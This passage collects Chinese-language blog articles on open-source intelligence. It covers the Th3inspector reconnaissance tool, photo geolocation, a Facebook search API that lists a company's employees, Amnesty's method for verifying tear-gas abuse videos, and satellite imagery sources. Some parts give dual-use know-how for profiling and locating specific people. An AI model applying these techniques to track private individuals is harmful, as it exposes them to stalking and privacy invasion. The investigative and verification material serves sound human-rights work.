graphsearch.thao.pw/api/graphSearch?q={ID}/
{operator}&amp;amount=10
```

其中{ID}是您要查询的用户的 Facebook ID，{operator}是您要执行的特定搜索；'amount = x' 指定了需要返回的结果数量。

例如，如果想找出在壳牌公司工作的前100名员工（id = 200969413280005），只需要请求'employees'，这样：

https://graphsearch.thao.pw/api/graphSearch?

q＝200969413280005/employees&amount＝100

就是这么简单！

查询工具：https://graphsearch.thao.pw

GUI版本：https://fbinsight.thao.pw/

富有创造力的开发者社区总是如此令人激动。如果您也对开源情报工具开发感兴趣，欢迎与我们联系。

今天的内容就是这样。关于 OSM，此后还有更多详细的介绍和演示案例。欢迎关注。〇

原文

新生情报工具（6）：广泛搜集、地理定位、我知道你的猫住在哪 - iYouPort

开源情报-每个人都可用的武器

继续我们的不定期更新系列

「图」

「图」

这里是“新生情报工具”第6部分内容。

如果您忘记了此前的内容，或者忘记了本栏目的来源，可以在这里回顾：

- 《新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音》
- 《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》
- 《新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪》
- 《新生情报工具（4）：战术培训、狩猎推特、瑞士军刀—针对特定目标人的侦查利器》
- 《新生情报工具（5）：翻译间谍、头像中的秘密、连锅端利器、和追踪资金往来》

来看看今天有什么好玩的东西。

「图」

「图」

Th3inspector

这是个相对比较知名的信息收集工具，现在有了更新版，速度更快

了。

如果您还不了解这个工具，下面是一些简单的介绍；关于它能干什么，以及视频操作演示。

用法 ——

- 电话号码信息：-n （ -number ）
- 查找IP地址和电子邮件服务器：-mx (-mailserver)
- 域名Whois查询：-w （ -whois ）
- 查找网站/ IP地址位置：-l （ -location ）
- 域名年龄检查器：-a （ -age ）
- 用户代理信息：-ua (useragent)
- 信用卡 Bin Checker：-b (bin)
- 子域扫描程序：-s (-subdomain)
- 电子邮件地址检查：-e (-email)
- 内容管理系统检查：-cms (-cms)
- 显示帮助消息并退出：-h (-help)

示例 ——

- 列出所有基本选项和开关：

perl Th3inspector.pl -h

- 获取网站信息：

perl Th3inspector.pl -i example.com

- 获取电话号码信息：

perl Th3inspector.pl -n xxxxxxx

- 查找IP地址和电子邮件服务器：

perl Th3inspector.pl -mx example.com

- 查找网站或IP地址位置：

```
perl Th3inspector.pl -l example.com
```

安装 —— （ Linux ）

git clone https://github.com/Moham3dRiahi/Th3inspector.git

cd Th3inspector

chmod +x install.sh && ./install.sh

（ Windows ）

Download Perl

Download Th3inspector

cpan install JSON

Extract Th3inspector into Desktop

Open CMD and type the following commands:

cd Desktop/Th3inspector-master/

perl Th3inspector.pl

以下是视频演示：

快速地理定位的另一种方法：**OSM overpass API**

地理定位是检验信息真伪、追踪目标线索、以及了解更多背景信息的关键步骤。我们曾经介绍过多种地理定位的方法，以下是部分回顾；

- 《侦探挑战游戏：快速地理定位的两种方法》
- 《全球搜罗：用于信息验证的基本地理定位工具 》
- 《使用电影做侦探挑战演示：开源调查游戏》
- 《如何挖掘机器人水军的幕后推手？》
- 《“谷歌地图”是比詹姆斯邦德更棒的间谍》
- 《侦探挑战：间接证据和排除法》
- 《侦探挑战小游戏》
- 等等

本文将介绍另一种方法。

下面这两张照片是在哪里拍摄的？—— 要具体位置。

「图」

「图」

「图」

「图」

这两张照片都是来自荷兰电视台的剧照；它们都没有携带某种可以说明位置的细节，例如街道标志、地标、门牌号码等。

但是，通过简单的技术和 openstreetview 的使用，具体位置仍然是可验证的。下面来看看这件事怎么做。

寻找位置1：

视频中的介绍信息显示，照片2拍摄于照片1附近的村庄。

因此找到照片1的位置就可以了。为了找到位置，必须识别该照片中能起到定位作用的唯一元素。

照片1有几个独特的元素，即：#桥梁

- 5个风车（用于发电）
- 运河
- 公路，有4个车道

1. 这里是在假设OSM数据库是准确、完整、正确和最新的

- 过程中必须准确定位特征

OSM 数据库并非在世界上任何地方都能准确或完整。它在荷兰的表现非常出色，但是在马里，就只有部分城市和几条街道。

此外，数据需要足够新，换句话说，数据集必须与照片相匹配。

特征列表是个很强大的功能；但您必须选择正确的特征，否则结论错误就不是工具本身的问题了。

在这里看到视频演示：

“我知道你的猫住在哪”

⚠请注意：这里的“猫”可以换成任何东西！—— 包括你的孩子。

你是晒娃爱好者、还是晒猫爱好者，或者晒任何东西的爱好者？

这个网站的存在既是警报器，也是对隐私权倡导者的敲打。

因为它之所以能存在，正是因为隐私权倡导者多年来关于自我保护的警告失败了 —— 依旧有太多人乐于在互联网上暴露自己最致命的部分。

> “如果你在社交媒体网站上启用了基于位置的服务 —— 你只是在邀请罪犯到你家” —— 塔斯卡卢萨警长办公室 Lt. Andy Norris

「图」

「图」

欢迎来到今天的互联网—您可以购买任何东西，每个网站都在跟踪您的一举一动，任何地方您都可以找到猫的视频和图像。

目前，在公共图像托管网站上有1500万个标有“猫”字样的图像，每天还有数千个图像从地球上的任意位置上传上来。

iknowwhereyourcatlives.com 是一个数据可视化实验，它通过嵌入在元数据中的纬度和经度坐标，在世界地图上定位一百万只猫的公开图像样本。

该项目探讨了互联网的两种用途：一种是促进对驯化猫科动物的社交和幽默欣赏的共享；而另一种是，监视资本主义的现实。

构建：

HTML5, CSS3, Twitter Bootstrap 3, Javascript / jQuery, history.js, Google Map API, MarkerClustererPlus, MarkerWithLabel, PHP 5, MySQL, Apache, Python, SciPy K-means clustering

对于开源情报调查来说：如果你的追踪目标是个喜欢晒的人，你就有福了。

视频：

新的图谱搜索工具

Facebook 关闭其图谱搜索后，全球的开源情报社区开发者都在尽各种努力补救这一损失。

最近一些越南开发人员已经创建了一个新的 Facebook 搜索工具，实际上看起来效果很好，并以 JSON 格式返回查询。

旧的图谱搜索中采取的运算符，在这里基本都可以使用。

您需要构建的URL如下：

graphsearch.thao.pw/api/graphSearch?q＝{ID}/{operator}&amount＝10

其中{ID}是您要查询的用户的 Facebook ID，{operator}是您要执行的特定搜索；'amount ＝ x' 指定了需要返回的结果数量。

例如，如果想找出在壳牌公司工作的前100名员工（id ＝ 200969413280005），只需要请求'employees'，这样：

https://graphsearch.thao.pw/api/graphSearch?q＝200969413280005/employees&amount＝100

就是这么简单！

查询工具：https://graphsearch.thao.pw

GUI版本：https://fbinsight.thao.pw/

富有创造力的开发者社区总是如此令人激动。如果您也对开源情报工具开发感兴趣，欢迎与我们联系。

今天的内容就是这样。关于 OSM，此后还有更多详细的介绍和演示案例。欢迎关注。〇 广告

原文

针对催泪瓦斯袭击抗议者及其他侵犯人权行为的调查框架：给公民调查人员的思考方式（2）- iyouport

思考方式

【2020年12月10日存档】公民调查人员不仅应该知道该如何寻找和整合证据，并且需要知道如何教授现场的抗议者关于取证和保留证据的技巧，很大程度上您需要与现场的抗议者合作

欢迎回来！

这里是“思考方式”系列的第2集，如果您错过了前面的部分，可以在这里回顾：《如何通过视频创建全景图以进行地理定位追踪和真伪验证：给公民调查人员的思考方式（1）》。

首先推荐一个网站：*Tear Gas: An Investigation* 该网站探讨了什么是催泪瓦斯，如何使用催泪瓦斯，并记录了世界各地镇压部队滥用催泪瓦斯的数十起案件，这些案件往往造成严重伤害、甚至死亡。

由于今天的大多数抗议活动现场都是由参与者或观察者拍摄并在社交媒体上分享的，因此人权维护者能够整理出数百个视频，并利用互动地图，突出强调五大洲22个国家和地区滥用催泪瓦斯的一些最严重的案例。

非常建议活动家和准备参加抗议活动的任何人先通过这个网站了解相关知识。

- 不要错过，关于榴弹（包括催泪瓦斯）一个最近的案例，见《伪党争和真镇压：警察粉碎了每一个微小的抗议活动：通过BLM（7）- 有毒化学烟雾弹》

DVC-LED分析

「图」

大赦国际的数字核查团 (DVC) 收集、核实和分析500个视频，使证据实验室能够巩固分析并建立这个平台。仅在过去三年中，就有如此多涉嫌滥用催泪瓦斯的案例需要处理。

📌 本文将探讨 DVC 在进行开源分析时经历的工作流程，以展示公民调查如何对公开来源内容进行追溯、归档和分析，以记录侵犯人权的情况。

1、收集信息

「图」

开源情报调查的工作流程首先是寻找显示潜在侵犯人权行为的图像或视频的来源。

在某些情况下，通过区域联络员网络或危机现场的其他实地消息来源直接收集到内容。这可能包括消息来源记录的内容、或他们通过封闭私密的网络接收到的内容。

对于“催泪瓦斯调查”，调查人员开展了一个全面的发现过程，以从各种数字平台上确定和收集与该项目有关的开源材料。

DVC的志愿者集中在主要的社交媒体平台，包括 Facebook、Twitter 和 YouTube，他们经过培训，可以使用高级搜索技术进行详尽的查询，确定所有相关语言的关键词，并实时跟踪事件的发展。

📌 关于高级搜索：

- 《攻防皆可用：GoogleDorking 高级运算符完整列表》
- 《从跨平台跟踪到心理分析：社交媒体情报收集简易指南》
- 《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》
- 《社交网站上进行新闻收集和监视的基本指南》
- 《针对暗网的追踪调查：低技术含量解决方案》
- 《如何快速从照片平台挖取重要信息？：开源情报工具推荐》
- 《人人可用并不复杂的高级情报工具：让情报更丰富的方法》

随着当地局势的发展或研究参数的变化，DVC 还会继续监测更多的视听材料。这种将接收到的内容和发现的内容结合起来的做法构成了每

项开源调查的基础，是研究成功的根本。

2、保存信息

「图」

下一步就是保存您打算分析的所有内容，并可能在未来的研究产出中作为证据使用。

📌 在处理开源内容时，这一点至关重要，因为这些内容可能会被上传者删除或被社交媒体公司删除。

关于保存证据的技巧：

- 《手慢无：如何抢在信息被遮挡、污染或完全消失之前捕获它们？》

大赦国际的保存信息流程有两个方面：第一，使用工具 youtube-dl 下载上一阶段工作流程中收集到的视听内容。第二，将保存的媒体文件上传到安全档案馆，在那里进行存储和编目，以便将来进行分析和参考。

- 关于 **youtube-dl**，见《如何快速从大部分社交网络上抓取视频？深度调查的必备基础工具》

📌 作为一般准则，当保存内容时会考虑特定的保存方法是否可以理解（即：其他研究人员和志愿者可以很容易理解和复制）、是否真实、以及保存的目的是否是为了记录侵犯人权行为。

3、整理资料

「图」

催泪瓦斯的调查是一个数据量很大的项目，调查人员发现并保存了数百个视频。为了正确地逐一分析所有这些内容，拥有一个强大的系统来存储、组织和检索数据，是至关重要的。

所有收集到的内容都被整理在大赦国际的协作平台 Truly Media 中——每个国家的内容被整理在单独的集合或文件夹中。对于本土公民调查来说，您只需要以安全的方式储存这些数据，并且对内容的编目需要让您和合作者在日后可以很方便地查找。

验证完成后将所有数据导出为 .csv 文件，并为分析阶段创建共享电子表格。

- 关于电子表格的使用，详见《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（3）- 理解数据和可视化》

此时，每一个单独的内容在输入系统时都会被赋予一个代码，随着项目的进展，我们开始构建平台，这一点至关重要；在本案例的情况下，它是两个字母的国家代码，后面跟着两个数字（例如，US23）。

「图」

📌 也就是说，正如我们在 “解码秘密” 指南中所强调的一点技巧，在您和合作者之间需要确立一个共识规则，以便所有人都能够理解数据和遵循这一规则，以便数据最终对所有人直观可读，没有误解。

正确设置数据结构非常重要，如果在此阶段无法做到这一点将使项目在接近完成和发布时付出惨重代价。

4、验证

「图」

在开源调查期间获得的任何可用作证据的内容之前，必须对其真实性和准确性进行核实。

核查方法包括分析：a) 起源；b) 来源；c) 所描述的事件发生的时间/日期；d) 内容的拍摄地点；以及 e) 确定支持内容中所显示的任何确凿证据。

正如上面的工作流程图所示，很多时候，在核实材料时，您会发现与调查有关的其他内容。在这种情况下就需要开始另一个周期的保存、记录和对新内容的进一步核实。

i）起源

「图」

开源调查人员在核实图像或视频时采取的第一步是：评估自己正在观看的内容是否为原创内容，如果不是，就去确定该内容首次出现在网上的时间。

鉴于数字平台的性质，以及内容易于分享、下载和再传播的特点，总有一种可能性，即 某一内容可能被虚假地链接，并与某一事件有关，而该事件可能与原内容毫无关系。

确定这一点的最有效手段之一是对照片或视频中的画面进行反向图像搜索。这样做可以让研究人员在谷歌、必应、Yandex 和 Tineye 等在线数据库中搜索视觉上相似或相同的图像。

如果该内容在相关事件发生日期之前就已经出现在网上，则说明该照片或视频被断章取义地分享，或以误导性的方式被使用。

- 关于反向图像搜索，工具对比《搜图功能哪家强？图像验证方法的能力对比》
- 《谷歌搜图不好用怎么办：推荐另外两个更好用的工具》
- 关于应用—检测图像《5个简单方法快速检测造假照片》
- 《信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？》
- 一个应用案例《一扇窗子能告诉你什么？：侦探挑战游戏》

ii）来源

「图」

核实来源是建立内容可信度的一个重要方面。这可以包括主要来源(即 获取内容的人)、或间接来源，如在线分享内容的人。

在内容直接来自个人或组织的情况下，这一过程涉及评估来源的可信度，其依据是：他们是否是您自己的组织或其他协作组织内的已知来源，他们过去报告的准确性如何？他们是否接近据称的事件发生地点？以及他们如何获得的该内容。

对于公开来源的内容，例如在社交媒体平台上分享的内容，这一来源审查过程涉及的问题更多，因为用户可以提供关于自己的最低限度的或完全不准确的身份信息，这可能难以独立核实。

一些平台根据一系列标准提供他们认为 “经过核实” 的用户的指标；但是，研究人员必须寻找其他指标来确定来源的身份，例如目标人在平台上标注的位置、他们的分享内容是否与这个位置一致，他们是否有一个在线足迹，将同一个用户连接到多个平台和在线档案，以及是否有他们的任何联系信息。

简单说就是，先追踪人，以确认信息发布者的可信性。

- 📌 在此出错的可能性非常高，因为在社交媒体上制造假身份是很容易的事，您可以参见这里的一个案例《揭露假记者：一个“深度造假”信息战的案例，提醒您旧有的验证技巧正在过时》

在这一阶段使用的一些工具包括 Twitonomy，它可以帮助识别 Twitter 上的“机器人”账户，以及反向图像搜索，以找到同一个人资料照片的其他在线实例。

- 关于 Twitonomy，见《深挖推特工具超长列表、寻找独立新闻源、物联网Dorks、泄漏数据、挖 Telegram、机器学习数据集、大牌流媒体资源 …… 新生情报工具（18）》

iii）时间/日期

「图」

确定照片或视频的拍摄日期和时间，对于核实一项证据是否可信，至关重要。在某些情况下，一个事件的镜头可能会在被记录下来后立即被上传到社交媒体。而在其他情况下，内容可能会在最初拍摄后的数天、数周甚至数年后才出现在社交媒体上。

📌 因此，确定视频录制的准确日期/时间是开源调查核实方法的重要组成部分。对于直接与您分享的内容，在这方面可能拥有的一个优势是元数据（或“Exif 数据”），它存储在媒体文件中，包含的信息包括设备的类型、设备在拍摄时记录的时间和日期，如果设备的GPS处于活动状态，甚至可能还包括坐标。

- 关于Exif 《追踪调查的技巧：如何将EXIF数据保留在WhatsApp中》
- 《社交媒体照片也能找到元数据痕迹以实现追踪，这件事怎么做？》

像 InVid 的元数据查看器或 Jeffrey 的元数据查看器这样的工具，可以用来访问这些数据。

遗憾的是，几乎所有社交媒体平台都会删除上传到平台的媒体文件中的元数据，因此对于在线发现的内容，往往无法获得如此详细的信息。一些解决方案见上面👆的文章。

在这种情况下您可以首先查看内容上传时的时间戳。虽然这不一定能反映出图像的拍摄时间，但它可能会提供一个指示（InVid上传时间为UTC）。

- 比如这里的介绍《深挖推特：如何从推文中提取准确的元数据？》

确定拍摄时间/日期的一种更精确的方法是：对图像或视频进行时间定位。我们在 列表-5 中 “侦探挑战” 板块中汇总的都是调查演示，您可以参见这些演示以获得灵感。

时间定位可以通过使用历史卫星图像来实现，以确定一个地点的特征在哪个时间点发生了重大变化，比如 建造了一座新的建筑物、或一个村庄被焚烧，首次被卫星捕获的时间。

- 📌 关于卫星图像，不要错过一个重要的手册！《如何拥有上帝的眼睛：监视、追踪、导航、回溯、阴影识别…… 这是您需要了解的一切—最大限度挖掘地图的能力 *完整手册*》

其他工具如 SunCalc 或 Wolfram Alpha 都可用于分析特定地点某一天/某一时间的太阳位置或天气情况，这也有助于验证图像或视频拍摄的时间和日期。关于这一用法，以下面的演示为例：

- 《让阴影说话：开源调查小游戏》
- 《新疆火车站戴手铐的视频是真的吗？在哪里拍摄到的？》
- 《情报眼：细节越多暴露越大—侦探挑战游戏》

最后将寻找确凿的证据，如 可靠的新闻报道 —— 明确说明了被调查事件的时间，或查看似乎来自同一事件的其他内容的上传时间。

iv）位置

「图」

对您接收到的或寻找到的每一个内容进行分析，以核实其拍摄地点。

在使用开源情报时，经常会发现在一个冲突地区拍摄的内容被声称是另一个冲突地区发生的，或者用户对事件发生的地点提出虚假的说明。

📌 在使用这些材料作为侵犯人权行为的证据之前，核实事件发生的准确地点至关重要。有些内容在社交媒体平台上被打上了地理标签，

但是，绝对不能依赖这些标签的准确性！您总是需要进行独立的核实。

为了对视觉信息进行地理定位，您需要寻找独特的地理特征、建筑物、路牌、店面或其他参考点，这些都可以在卫星图像或其他地图工具（如谷歌地图、谷歌地球、Bing地图、OpenStreetMap 和 Wikimapia 等工具）上检测到。在某些情况下，还可能会有电话号码或企业名称，可以输入搜索引擎，并通过其广告显示的街道地址进行定位。

内容的上传者通常会在其帖子的文本中明确指出事件的位置，这可以为开始地理定位提供一个 *初始参考点*。

在其他情况下，此类信息可能会从分享内容的账户所声明的位置或从同一用户以前发布的帖子中指出的位置来推断。其他细节，如视频中的个人所讲的语言和方言、他们所穿的衣服，可能有助于确定录像或照片的拍摄地点。

v）佐证/证词

「图」

除了通过与同一事件的其他媒体报道进行交叉比对来证实有关某项内容的日期、时间和地点的信息外，您还可以通过将公开来源的证据与研究人员在实地收集到的证人证词进行比较，来证实这些证据。

这不仅有助于从在场者那里确认事件发生地点和时间的关键细节，而且有助于更详细地说明事件发生的情况和所涉主要行为者。

- 对此，不要错过一个重要的指南！《在人与人之间 …… 如何从信息源的头脑中挖掘想要的情报—完整指南》

在可能的情况下，您还可以分析视听内容的其他方面，如 使用的武器或军事装备、以及有关人员的制服。这些细节可能是在某一地区活动的某些国家部队所特有的，或与某一特定武装团体有关，有助于确定可能的肇事者。

- 对于武器，您可以参见这里的一个调查《镇压部队最常用哪些武器对付抗议者？- 概览》
- 对于制服，见这里的案例《如何使用数字技巧在线验证中东冲突中的战斗伙伴关系》

5、评价

「图」

在对开源内容进行核实后，必须评估您是否以及如何使用这些材料作为证据来支持您的调查结果。在“催泪瓦斯”的案例中，分析还包括询问是否有足够的材料可以保证建立一个完整的平台。

诚实和客观地进行分析，这对于保持研究的最高标准以及有效地将开源信息与更多传统的人权记录方法结合起来，都是至关重要的一步。

📌 这里需要考虑的因素包括：经核实的视觉信息是否以及如何清晰地描述了侵犯人权的行为，内容是否令人信服，以及是否可以通过收集到的其他类型的证据，如目击者的证词和推测来证实。然后要考虑，仅根据经核实的录像就能得出哪些明确的结论，并与实地研究人员和其他非政府组织及新闻机构所收到的报告进行比较，以确定其一致性。

就“催泪瓦斯”的调查而言，在许多情况下还可以对照以前的研究结果来检查现在的结论，并将相关新闻稿纳入每个事件的平台。

下面来看一个具体演示。

2019年10月，巴格达和整个伊拉克南部爆发了大规模的抗议活动。大赦国际的危机证据实验室被要求使用开源情报技术来支持该组织的伊拉克研究小组关于对抗议者的镇压的调查。这很快就包括了最可怕的死亡视频：抗议者被嵌入头骨的40毫米军用型榴弹炸死。

在查明催泪弹和烟雾弹的制造和来源后，调查人员写出了调查结果，并就这一问题进行了广泛传播，利用技术方法说明伊拉克镇压部队是如何故意使用这些榴弹来杀人和致残的。

作为调查的一部分，大赦国际与 SITU Research 联系，希望合作建立一个平台，以展示这些袭击是如何蓄意进行的。这就是 SMOKESCREEN 的诞生—— 这是一个沉浸式的3D环境，它将地理定位的目击者录像和叙述综合成直观的用户体验。

SITU Research 的这篇文章是对该平台如何构建的幕后观察，并对所使用的方法进行了解释。

挑战性

「图」

为期三个月的合作其目标是对显示使用催泪弹的社交媒体视频档案进行背景分析和解析。有两个主要挑战。

首先，如何在不包含可怕的画面的情况下向公众说明这些榴弹的杀伤力。第二，如何在抗议活动发生的公共空间和城市环境中传达这些弹药的性能特点。解决的办法同样是：内容策划、用户体验设计、事件重构、和技术分析的结合。

重建城市环境

「图」

利用商业来源的30厘米分辨率卫星图像和该地区的参考照片，调查人员构建了一个城市环境的数字模型，延伸到解放广场周围3.5公里。

利用这个模型和已知的地标，在开源软件 Blender 中估计摄像师的位置和视角。这个软件的运动跟踪功能也可以让您能够计算出摄像机的运动，从而捕捉到摄像师的微动。

其结果是将主要素材与制作的图表和内容进行了视觉和空间的无缝整合。该模型和3D摄像机运动扩展了视野，超出了原始视频所能捕捉的范围，这为平台增加了另一层空间信息。

正是多模态和连续的空间意识，让用户能够得出关于城市环境和武器滥用之间关系的关键结论。例如，您知道，这些榴弹罐子在直接向抗议者发射时特别致命。通过将数字模型与视频录像相结合，就可以揭示伊拉克镇压部队瞄准在巴格达市中心 **Jimhouriya** 桥上聚集的人群位置的低射角。

体验设计

「图」

体验设计是希望将公开来源视频与说明性文字交织在一起，同时既不失去空间背景，也不失去叙事的连续性。

通过将视频素材放置在原始城市环境的3D模型中 —— 解放广场和 Jimhouriya 桥周围的区域 —— 调查人员能够创造附加价值：周边的建筑环境成为连接不同人在不同时间拍摄的不同视频的粘合剂。

接下来将视频档案从50多段视频缩减到10段，每段不到5秒，从而将示威活动的关键时刻隔离开来。在一些片段中，40毫米榴弹的飞行过程清晰可见。其他片段则说明了抗议者和镇压部队的位置，或强调了部署的榴弹数量。

📌 由于巴格达的活动家们进行了大量的视频记录，才有可能进行这一视频分析。所以，现场的记录非常重要，是调查侵犯人权行为的关键信息源。

📌 请注意，如果您拍摄到了镇压部队的暴力证据，您很可能会被当局盯住 —— 在任何国家都是如此，持有真相从来都是很危险的事，以下是需要掌握的技巧：请将这些技巧传递给更多参与抗议活动的人！因为有可能并不只有专业的活动家恰巧能处于事发现场的有利位置上。

- 《公民取证技巧：如何留住真相？》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《当你手握真相：最基本的防护知识》

平台导航

「图」

该平台的特点是采用滚动式导航，浏览者可以按照自己的节奏，以一致的动作在文字、视觉和空间内容中向前或向后移动。

SMOKESCREEN 最大限度地提高了用户的控制力，用户可以在滚动浏览的过程中操控平台的视频内容。播放提示与页面导航相联系，这样可让用户滚动无缝转化为视频搜索。

这种机制类似于将手放在黑胶唱片机的盘子上，从而暂停播放，并有可能将唱片推向任何一个方向，在这种情况下，观众可以逐帧检查视频内容。

视频播放的实现

「图」

为了提供一个流畅的基于滚动的视频搜索，调查人员不得不采用一个非正统的视频播放实现。由于在浏览器中对HTML5视频进行了优化，视频搜索是基于时间的，而不是像标准视频编辑软件那样基于帧。

这意味着，如果快速改变播放位置可能会导致播放器掉帧，观众很可能会错过内容。由于平台内嵌入的视频的每一帧都显示了关键的视觉证据，因此不能丢失任何这些内容。

作为解决方案，调查人员将每个片段呈现为一连串的离散图像：数字翻书。这种方法保证了流畅的观看体验和一致的帧率，并揭示了数字验证和事件重建中的细化、逐帧分析。

展示负面影响

「图」

“SMOKESCREEN” 的一个重要内容是显示40毫米榴弹对人体的致命影响。为了在不显示实际伤害的镜头的情况下表现这一点，调查人员使用了一个工程领域的分析工具。这种分析也让调查人员了解并证实了第一手报告，这些名义上宣称 “低致命性” 的武器是多么致命。

📌 调查人员使用有限元分析工具制作了一个数值模型，模拟物理力对相互作用物体的影响 —— 模拟弹丸对人体的影响。使用弹道明胶作为媒介 —— 这是一种经常用于量化和测量弹道冲击力的材料。虽然人体要复杂得多，但弹道明胶之所以被使用，是因为它的弹性和拉伸特性与人类的肉体和肌肉大致相当。

调查人员创建了两个数值模型：一个是根据在巴格达被使用的 M713 40毫米催泪瓦斯榴弹的制造商规格，另一个是根据用于狩猎的标准12口径猎枪弹头，明确设计为杀伤。

虽然有许多研究记录了致命性较低的武器在以符合发射催泪瓦斯的公开意图的方式(即高角度)发射时的性能，但令人惊讶的是，对同样的武器在被滥用时的分析却很缺乏。

镇压部队所要做的只是降低射击角度，就可以把这种40毫米的霰弹筒变成一种致命的弹药。📌 必须了解这一事实，“低致命性 “的名义化分类绝对不能成为致命和过度使用武力的掩护。

“SMOKESCREEN” 这份研究表明，在今天的人权领域中，将不同领域的不同分析要素汇集在一起，非常重要。在本案例中的调查说明伊拉克镇压部队如何故意针对抗议者，在人们头顶附近发射榴弹，造成了毁灭性的后果。〇

——未完待续 ——

原文

在哪里获得卫星图像？以及一个调查案例：思考方式（3） - iyouport

思考方式

【2021年3月17日存档】有一个资源列表可下载，还有一本书，是一个最新的重要的调查

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《如何通过视频创建全景图以进行地理定位追踪和真伪验证：给公民调查人员的思考方式（1）》
- 《针对催泪瓦斯袭击抗议者及其他侵犯人权行为的调查框架：给公民调查人员的思考方式（2）》

去年我们做过一个关于地图和卫星图像的手册，见《如何拥有上帝的眼睛：监视、追踪、导航、回溯、阴影识别…… 这是您需要了解的一切—最大限度挖掘地图的能力 *完整手册*》；本文则是专注卫星图像的，因为它在调查中可以非常有用。

卫星图像已成为越来越多领域研究和调查的流行工具。调查人员和记者利用它来确定事件发生的地点，以更好地深入研究目标事件。人们不断为每天记录地球的数百颗卫星找到新的应用。

以下是美国航天局地球观测数据收集工作中的几个例子，其时间跨度近20年：

首先，一点科学

「图」

卫星图像是对地球表面反射率（地球对光和其他辐射能量的反射效果）的测量。每个原始像素后面都有一个数字，与电磁波谱上的波段有关。

所测量的波段可以覆盖人眼无法察觉的很大范围的光反射，并且，以不同的方式组合波段超越自然色，可以揭示许多不同的东西的表面。

这里只是一些不同的组合，可以揭示“看不见”的东西；来看看埃及沙漠中的农田：

采集图像

「图」

这类图像有许多不同的来源，分辨率不同，价格从免费到数百美元或更多不等。此处将重点介绍那些经常用于人权事件调查和其他非商业用途的图像。

1、低分辨率影像

「图」

如果您的研究不需要详细的地面视图那将是很幸运的，因为有几个非常流行的免费数据集的图像分辨率从10米到60米。

这些数据集来自 **Sentinel 2A/B** 和 **Landsat (1–8)**，可以从几个不同的地方获得，但这里有两个常见的网站，您可以找到并下载原始图像文件：

- Scihub for Sentinel imagery
- EarthExplorer for Landsat imagery

对于这些图像，您需要一点关于如何打开和查看图像的知识，因为您的计算机不会自动识别原始文件。有最常见的开源工具可以查看图像：**QGIS**。

对于那些没有任何基础知识的用户来说，有一些很好的平台可以帮助您使用或分析卫星图像，使查看数据非常容易和用户友好。

- Sentinel Hub（付费平台，但价格便宜，可推荐给初学者）
- Remote Pixel
- Google Earth Engine（需要一些简单的编码基础）

利用图像，可以发现10米或更大范围内随时间发生的变化。您能够记录比如：

- 洪水或干旱
- 大规模毁林
- 烧毁土地/火灾
- 主要冰川变化
- 露天采矿
- 作物健康或遭到的破坏
- 大规模强拆或销毁
- 石油泄漏

当然，所有这些数据都可能被误解，所以，如果您打算做出任何突破性的结论，请向专家咨询。

由于 Landsat 图像可以追溯到1972年，分辨率为60米，因此它特别适合随着时间的推移而发生的巨大变化，例如亚马逊的森林砍伐、农业的转变、气候灾难导致的冰川融化等等。谷歌 Timelapse 显示了其中一些变化是多么的剧烈，而这只是使用1984年 ~ 2018年的 Landsat 图像。

2、高分辨率影像

「图」

如果您想寻找更详细的东西，需要获取更高分辨率的图像。目前，一般人能够接触到的最佳分辨率的卫星图像是30厘米（在这里不谈无人机图像）。

这种级别的分辨率可以揭示更多的信息，比如：

- 车辆类型 (客车与卡车)
- 人行横道、红绿灯等城市道路设施
- 抗议群体或排长队的人们
- 树木的变化 (不同类型或高度)
- 区分飞机、车辆、船舶的细节
- 小范围内的损害、破坏或残骸

对于更高分辨率的图像，最重要的问题是您需要多近期的图像；如果您能够使用较旧的图像，有许多免费的来源。其中一些是：

- Google Earth
- Bing Maps
- Zoom.Earth

根据您的调查目标在世界上的位置的不同，您可以找到的图像可能是几个月或几年前的。如果图像的日期很重要，一定要研究如何找到您正在寻找的图像的日期，这取决于您使用的来源。

以下是在 Google Earth Pro Desktop 上的查找方法（请注意，日期可能是近似的而非精准）。

对于较新的图像，您可能需要购买，根据尺寸、分辨率和拍摄日期的不同，价格会有很大差异。价格可以在200美元左右。

对于那些熟悉订购图像的人来说，可以直接通过商业卫星成像公司购买，但需要首先获得批准：

- CNES Airbus Geostore
- Maxar (previously DigitalGlobe)
- Planet

此外还有其他多家经销商出售上述公司的图像，还有许多其他公司可以帮助您：

- ApolloMapping
- Harris Geospatial

在这里购买上述图像只需要最低的订购金额，您就可以得到原始图像，如果需要的话，您可以做更深入的分析。如果您需要的只是一个较小区域的简单图像，没有完美、便宜的解决方案，但有两个可以参考：

- Bird.i
- Skywatch

📌 您可以在这里下载 Harel Dan 汇编的一个卫星图像资源列表，根据您的需求做出选择：

下面是一个调查案例。这份调查报告是与来自伊拉克巴士拉的 Maha Yassin 合作撰写的，她是荷兰 Planetary Security Initiative (PSI) 的研究员。她的研究和投入是以个人身份提供的；本调查不一定代表她的雇主的意见。

当底格里斯河和幼发拉底河在伊拉克南部交汇时，它们有了一个新的名字，叫阿拉伯河 (Shatt al-Arab)，这是一条200公里长的河口，穿过巴士拉省，然后排入波斯湾。阿拉伯河是伊拉克南部的生命线，它

灌溉着农田，也是一条主要的交通动脉。

但是，它的健康状况也不好。

因此，当去年6月社交媒体上出现显示巴士拉阿拉伯河上有石油泄漏的图片时，伊拉克人立即作出了反应，对公共卫生危机表示关切。

准确说，这是又一场公共卫生危机。几十年来，阿拉伯河（Shatt al-Arab）一直遭受着严重污染。到2018年，淡水已经如此稀缺，巴士拉人民面临环境灾难。超过**11**万人因水源被污染而生病，引发了整个地区的大规模示威。

国家和地区政府关于改善破败的基础设施和遏制污染的承诺时好时坏。荷兰和平组织PAX在2019年进行的一项关于人类安全的调查显示，尽管比前一年有所改善，但是巴士拉省的居民对安全前景仍持悲观态度：高达30%的受访者报告说，他们获得包括淡水在内的基本服务的机会比以前更少了。

最近发生的事件对未来来说是一个糟糕的预警；水供应继续受到石油泄漏和污水排放的污染。近年来，巴士拉的居民在网上越来越活跃，他们用手机记录事件，并在社交媒体上或与报道相关事件的记者分享。除了更多的传统媒体来源外，这种公民行动主义在直观地展示并记录公共服务和水基础设施的结构性忽视所造成的有毒遗留问题方面，发挥了宝贵作用。

故事的背景

「图」

